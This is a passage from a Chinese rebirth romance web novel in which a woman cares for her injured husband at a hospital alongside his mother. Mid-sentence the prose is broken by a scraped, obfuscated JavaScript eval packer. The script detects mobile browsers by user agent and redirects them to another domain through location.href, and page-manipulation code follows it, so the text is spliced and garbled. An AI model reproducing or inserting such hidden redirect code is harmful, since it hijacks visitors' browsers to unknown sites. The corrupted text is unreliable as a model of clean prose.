“客气什么,我跟他本来就是兄弟,何必说这些生分的话。走吧,我带你去饭堂。” 应晚真有些吃不下,但后面还有场硬仗要打,不仅仅是周久迟还有谢红英他们,他们没出过远门,肯定要多靠自己了,想到这她硬是给自己多塞了两口。 等自己吃完她也打了三份饭菜给周父周母和大堂哥。 等回去之后,应晚真远远看见谢红英半个屁股虚虚坐在病床边上,脸上一片灰败。 “娘,我给你带了饭,你先吃点,今天匆忙过来,大家都没吃饭,肯定都饿了。”应晚真看谢红英要拒绝,忙说,“娘,等久迟醒来我们还有的忙呢,再说了,等久迟醒来看见你连饭都吃不下,那心里得多难受。” 谢红英这才愿意吃饭,不过她还是只吃了几口,在她吃饭的期间,应晚真也把刚刚林庆家借给自己的房子还有总共的花销跟她说了。 谢红英只是有些没滋味的往嘴里送饭,一边听着应晚真说话。 幸好这样的安静并没有持续很久,很快周久迟就醒过来了。 周久迟看到应晚真,心里算是落下来了,不过很快他又被自己的情况给弄得闷闷不乐。 “儿子啊,你就好好的养病,你们的一个同志,说这是工伤,所以这钱什么的你也不用担心,你好好养伤就行了。” 谢红英也没多说什么,她现在看儿子醒了,就也没再继续难过,她跟周久迟说了好些话,这才拿着应晚真新买的盆出去,“晚真,你先照顾着老三,我去打点水。” 应晚真明白这是谢红英想给自己和周久迟一点时间,所以也没拒绝。 等谢母一走,应晚真倒了杯水坐到了周久迟的床边,“你睡了挺久的,应该渴了吧,先喝点水?” 周久迟看着应晚真白净的脸庞,顿时心里一热,他撑着身子想要起来,但是一动就牵扯到了伤口。 “别,小心点,”应晚真连忙扶着人,把一个枕头放在周久迟的背后,让他靠着。 周久迟没有拿过那杯水,而是就着应晚真的手喝了。 喝完没多久,周久迟才有点闷闷又带着点自责的说,“让你着急了吧?” 应晚真这下没什么好气了,“你知道就好。” 周久迟听到这话心里反而松了一口气,他刚刚还没醒过来的时候好像做了个梦,他已经不记得到底是什么梦了,但是那个梦带给他的感觉很不好,让他心有余悸,虽然他不记得这个梦究竟是什么,可冥冥中他感觉似乎和自己的妻子有关。 现在一醒来,他看见自己妻子就在自己面前,还那么有生气,顿时心里安定了不少,也许刚刚的梦只是自己在出事时不安的延续吧。 “这不是没事嘛,我会小心的,你别担心,别难过。” 应晚真本来情绪还没那么不好,可是听到周久迟的安抚,顿时她就有点绷不住了。 她一头扎进周久迟的怀里,眼里也不可抑制的冒出了几点泪花。 一开始的慌乱和不相信,还有她知道这件事时的冷静,现在在周久迟的安抚中突然决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507396|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堤了。 她以为这一世应该就是两人一起平淡一生的,可是没想到意外居然就这么来了,让她开始怀疑自己这重生的意义,可是在听到周久迟的话时,虽然没有什么甜言蜜语也不是什么严肃的场合,但是她还是没控制好自己的情绪。 等真切地感受到周久迟的体温时,应晚真才稍稍有点安心,她的心在此刻才像是漂浮的尘埃落在了一片叶子上,有了片刻的安定。 周久迟也很少看到应晚真这样情绪外露的模样,尤其是他感觉到自己胸口那些微的湿润。他的手不可抑制地一顿,很快又轻轻地搭在了应晚真背上。 他在她耳边轻声说,“我没事了,我好好的,你也要好好的。” “嗯。” 应晚真埋在他怀里,声音还哑哑的,“你说的,要好好的。” “我说的,肯定的,我从来不骗你。” 应晚真知道他对自己说的话从来都是真的,就算是从来不骗你这样的话,她也知道一直是真的,她知道他这个人从来就是这么坦荡和不屑说假话,他说了就一定会做到,就像前世那样。 等谢红英回来的时候,两人已经收拾好自己的情绪了,只是谢红英还是眼尖地看见应晚真那红红的眼眶,不过她很识趣,什么也没说。 因为现在已经有点晚了,所以几个人只是去医院的食堂打了点饭,周久迟现在最好吃点有营养的,喝点汤汤水水,因为太晚了不方便,所以也只是买了个面条给他吃。 他吃的也很满足。 等到再晚一点,应晚真便带着谢红英到林庆借的那个房子里休息,本来应晚真以为要多费一番口舌,没想到还没说什么,谢红英就答应了。 她也知道第二天自己儿子还要去检查,到时候肯定得养好自己的精神来。 周久迟本来也想让应晚真也回去的,但是应晚真不答应。 谢红英私心里也希望应晚真在这里陪夜,不过这是小两口的事,她也不好多说什么。 最后周久迟也没能拧过应晚真,应晚真便在这待下了。 因为是双人间,另一张床现在正好没有人住,应晚真便在那睡下了,“你要有什么事记得喊我起来,上厕所喝水或者哪里不舒服都要叫我知道了吗?不要像晚上那样,宁愿憋着也不喊我。” 周久迟像只可怜的大狗,看着应晚真点点头。 应晚真今天也真的是累了,再加上现在周久迟看起来还不错的样子,所以应晚真很快就睡着了,只是睡着睡着,她脑海里突然想起前世与今生的区别,前世的这时候自己和周久迟家里还在闹别扭,就因为两个人没同房的事,周久迟为了双方矛盾不激化,所以推掉了好多长途运输工作。 应晚真猛地睁开了眼,就看见眉眼柔和看着自己的周久迟。 周久迟一直没睡,他不困,从应晚真睡了开始,他就借着月光,看着另一张床上的应晚真,本来他也只是想看看她而已,但是不知不觉他的眼神已经在描绘她的眉毛,她的鼻子,她的嘴唇,还有她脸上的汗毛,每一处都让他心动不已,他看着她就已经感受到了快乐。 周久迟看着的人乍一睁眼,让他有种做贼心虚的感觉,可细细一看应晚真的申请,他又不免担忧,“怎么了,晚真?” 应晚真松了口气,对自己脑海突然想起的事有了愧疚之感。 她不想让周久迟担心,仰头露出一个笑脸还摇了摇头,“没,睡吧,有点没睡好,不过现在感觉又还行……”